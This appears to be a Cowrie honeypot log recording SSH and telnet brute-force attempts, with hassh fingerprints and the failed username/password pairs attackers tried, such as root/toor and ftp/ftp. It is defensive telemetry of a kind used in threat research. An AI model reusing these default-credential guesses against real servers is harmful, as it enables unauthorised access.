{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:12.436479Z","src_ip":"45.156.87.204","session":"49a373474c2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.9511284828186,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:13.286952Z","src_ip":"152.42.224.71","session":"ec35665f1bcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60828,"dst_ip":"159.203.135.109","dst_port":22,"session":"df58760a42f3","protocol":"ssh","message":"New connection: 45.156.87.204:60828 (159.203.135.109:22) [session: df58760a42f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:14.530752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:14.535566Z","src_ip":"45.156.87.204","session":"df58760a42f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:14.618075Z","src_ip":"45.156.87.204","session":"df58760a42f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:14.871310Z","src_ip":"45.156.87.204","session":"df58760a42f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:15.957990Z","src_ip":"45.156.87.204","session":"df58760a42f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53670,"dst_ip":"10.17.0.5","dst_port":23,"session":"d24a7af85b07","protocol":"telnet","message":"New connection: 152.42.224.71:53670 (10.17.0.5:23) [session: d24a7af85b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:17.767971Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60842,"dst_ip":"159.203.135.109","dst_port":22,"session":"7af7b239e1a6","protocol":"ssh","message":"New connection: 45.156.87.204:60842 (159.203.135.109:22) [session: 7af7b239e1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:18.505594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:18.519161Z","src_ip":"45.156.87.204","session":"7af7b239e1a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:18.610694Z","src_ip":"45.156.87.204","session":"7af7b239e1a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:18.916038Z","src_ip":"45.156.87.204","session":"7af7b239e1a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:20.001403Z","src_ip":"45.156.87.204","session":"7af7b239e1a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53680,"dst_ip":"10.17.0.5","dst_port":23,"session":"f720afe42ad8","protocol":"telnet","message":"New connection: 152.42.224.71:53680 (10.17.0.5:23) [session: f720afe42ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:20.052366Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53692,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f2b856d445f","protocol":"telnet","message":"New connection: 152.42.224.71:53692 (10.17.0.5:23) [session: 7f2b856d445f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:20.790675Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53704,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e92328f906f","protocol":"telnet","message":"New connection: 152.42.224.71:53704 (10.17.0.5:23) [session: 9e92328f906f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:21.805669Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":32862,"dst_ip":"159.203.135.109","dst_port":22,"session":"424b9552cd7c","protocol":"ssh","message":"New connection: 170.106.151.211:32862 (159.203.135.109:22) [session: 424b9552cd7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:22.026664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:22.031641Z","src_ip":"170.106.151.211","session":"424b9552cd7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60844,"dst_ip":"159.203.135.109","dst_port":22,"session":"64234b28ec76","protocol":"ssh","message":"New connection: 45.156.87.204:60844 (159.203.135.109:22) [session: 64234b28ec76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:22.089078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:22.095152Z","src_ip":"45.156.87.204","session":"64234b28ec76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:22.105635Z","src_ip":"170.106.151.211","session":"424b9552cd7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.176961183547974,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:22.168509Z","src_ip":"152.42.224.71","session":"627314a2bca8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:22.177753Z","src_ip":"45.156.87.204","session":"64234b28ec76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tpaterni","password":"123456","message":"login attempt [tpaterni/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:22.420196Z","src_ip":"170.106.151.211","session":"424b9552cd7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:22.559756Z","src_ip":"45.156.87.204","session":"64234b28ec76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":45604,"dst_ip":"159.203.135.109","dst_port":22,"session":"a92945bf8023","protocol":"ssh","message":"New connection: 45.183.70.66:45604 (159.203.135.109:22) [session: a92945bf8023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:22.572299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:22.577946Z","src_ip":"45.183.70.66","session":"a92945bf8023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:22.698828Z","src_ip":"45.183.70.66","session":"a92945bf8023","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159753","message":"login attempt [root/159753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:23.195992Z","src_ip":"45.183.70.66","session":"a92945bf8023","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53718,"dst_ip":"10.17.0.5","dst_port":23,"session":"42d2e35e99f3","protocol":"telnet","message":"New connection: 152.42.224.71:53718 (10.17.0.5:23) [session: 42d2e35e99f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:23.482903Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:23.491948Z","src_ip":"170.106.151.211","session":"424b9552cd7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:23.645716Z","src_ip":"45.156.87.204","session":"64234b28ec76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:24.319219Z","src_ip":"45.183.70.66","session":"a92945bf8023","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53726,"dst_ip":"10.17.0.5","dst_port":23,"session":"a85ea835f92e","protocol":"telnet","message":"New connection: 152.42.224.71:53726 (10.17.0.5:23) [session: a85ea835f92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:25.690988Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49072,"dst_ip":"159.203.135.109","dst_port":22,"session":"103e8911de83","protocol":"ssh","message":"New connection: 45.156.87.204:49072 (159.203.135.109:22) [session: 103e8911de83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:25.850489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:25.855108Z","src_ip":"45.156.87.204","session":"103e8911de83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:25.937762Z","src_ip":"45.156.87.204","session":"103e8911de83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:26.184917Z","src_ip":"45.156.87.204","session":"103e8911de83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.54994320869446,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:26.864320Z","src_ip":"152.42.224.71","session":"47afd9c63051","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:27.269109Z","src_ip":"45.156.87.204","session":"103e8911de83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51876,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ee0532e1855","protocol":"telnet","message":"New connection: 152.42.224.71:51876 (10.17.0.5:23) [session: 2ee0532e1855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:27.394391Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49084,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1c9ec40db84","protocol":"ssh","message":"New connection: 45.156.87.204:49084 (159.203.135.109:22) [session: e1c9ec40db84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:29.402892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:29.407414Z","src_ip":"45.156.87.204","session":"e1c9ec40db84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:29.489316Z","src_ip":"45.156.87.204","session":"e1c9ec40db84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:29.735106Z","src_ip":"45.156.87.204","session":"e1c9ec40db84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":36704,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cd55efb6662","protocol":"ssh","message":"New connection: 124.155.125.131:36704 (159.203.135.109:22) [session: 0cd55efb6662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:30.276191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:30.281282Z","src_ip":"124.155.125.131","session":"0cd55efb6662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hel